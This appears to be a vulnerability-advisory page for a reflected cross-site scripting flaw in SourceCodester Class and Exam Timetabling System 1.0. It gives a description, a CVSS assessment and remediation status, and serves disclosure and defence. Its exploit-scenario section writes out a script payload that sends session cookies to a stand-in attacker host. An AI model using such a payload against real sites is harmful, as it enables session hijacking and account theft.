DescriptionCVE.org

A vulnerability was identified in SourceCodester Class and Exam Timetabling System 1.0. Affected by this issue is some unknown functionality of the file /BSCE2.php. Such manipulation of the argument course leads to cross site scripting. The attack may be launched remotely. The exploit is publicly available and might be used.

AnalysisAI

Reflected cross-site scripting in SourceCodester Class and Exam Timetabling System 1.0 allows remote attackers to inject arbitrary JavaScript via the unsanitized course parameter in /BSCE2.php, executing in the context of a victim's browser upon interaction with a crafted link. A public proof-of-concept exploit exists (GitHub issue, VulDB reference), raising the practical exploitability above the base CVSS 4.0 score of 5.3 would suggest in isolation. …

Vulnerability AssessmentAI

Exploitation Exploitation requires that a victim user with an active session visits or is social-engineered into visiting a crafted URL containing the malicious `course` parameter - user interaction (UI:P) is mandatory and limits mass automated exploitation. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/E:P) scores 5.3 (Medium), reflecting low complexity and network reachability offset by mandatory user interaction and limited confidentiality impact. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker crafts a URL targeting /BSCE2.php with a JavaScript payload embedded in the `course` parameter (e.g., ?course=<script>document.location='https://attacker.tld/?c='+document.cookie</script>), then distributes this link via email or a forum post to users of the timetabling system. When a logged-in victim clicks the link, their browser executes the script in the application's origin, potentially exfiltrating session cookies to the attacker. …
Remediation No vendor-released patch has been identified at the time of analysis; SourceCodester has not published a security advisory. … Detailed patch versions, workarounds, and compensating controls in full report.
